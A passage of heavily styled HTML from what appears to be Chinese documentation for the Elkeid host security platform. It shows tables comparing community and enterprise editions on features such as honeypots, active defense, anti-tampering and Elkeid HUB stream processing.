&#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;插件管理&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">插件管理</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;系统监控&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">系统监控</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;系统管理&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">系统管理</td><td height="36" width="272" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;Windows 支持&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">Windows 支持</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;蜜罐&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">蜜罐</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;🚘&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🚘</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;主动防御&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">主动防御</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;🚘&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🚘</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;云查杀&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">云查杀</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;🚘&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🚘</td></tr><tr><td height="36" width="234" data-sheet-value="&#34;防篡改&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">防篡改</td><td height="36" width="272" data-sheet-value="&#34;🙅‍♂️&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">🙅‍♂️</td><td height="36" width="336" data-sheet-value="&#34;🚘&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-all;">🚘</td></tr></tbody></table><p><br/></p><ul start="1" class="list-paddingleft-1"><li style="white-space:pre-wrap;"><p>Elkeid HUB 企业版与社区版能力差异：</p></li></ul><table><colgroup><col width="235"/><col width="267"/><col width="339"/></colgroup><tbody><tr><td height="31" width="235" data-sheet-value="&#34;Ability List&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-weight: 600;line-height: normal;vertical-align: middle;text-align: center;word-break: break-word;">Ability List</td><td height="31" width="267" data-sheet-value="&#34;Elkeid HUB Community Edition&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 12pt;line-height: 1.5;vertical-align: middle;text-align: center;word-break: break-word;">Elkeid HUB Community Edition</td><td height="31" width="339" data-sheet-value="&#34;Elkeid HUB Enterprise Edition&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 12pt;line-height: 1.5;vertical-align: middle;text-align: center;word-break: break-word;">Elkeid HUB Enterprise Edition</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;流式数据处理&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">流式数据处理</td><td height="36" width="267" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;数据输入输出能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">数据输入输出能力</td><td height="36" width="267" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;完整前端支持&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">完整前端支持</td><td height="36" width="267" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;监控能力&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">监控能力</td><td height="36" width="267" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;插件支持&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;line-height: normal;vertical-align: middle;word-break: break-word;">插件支持</td><td height="36" width="267" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td><td height="36" width="339" data-sheet-value="&#34;✅&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 20px;line-height: 20px;vertical-align: middle;word-break: break-word;">✅</td></tr><tr><td height="36" width="235" data-sheet-value="&#34;Debug支持&#34;" style="white-space: pre-wrap;border-color: rgb(222, 224, 227);color: rgb(36, 41, 47);font-family: LarkHackSafariFont, LarkEmojiFont, LarkChineseQuote, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, Arial, &#34;Segoe 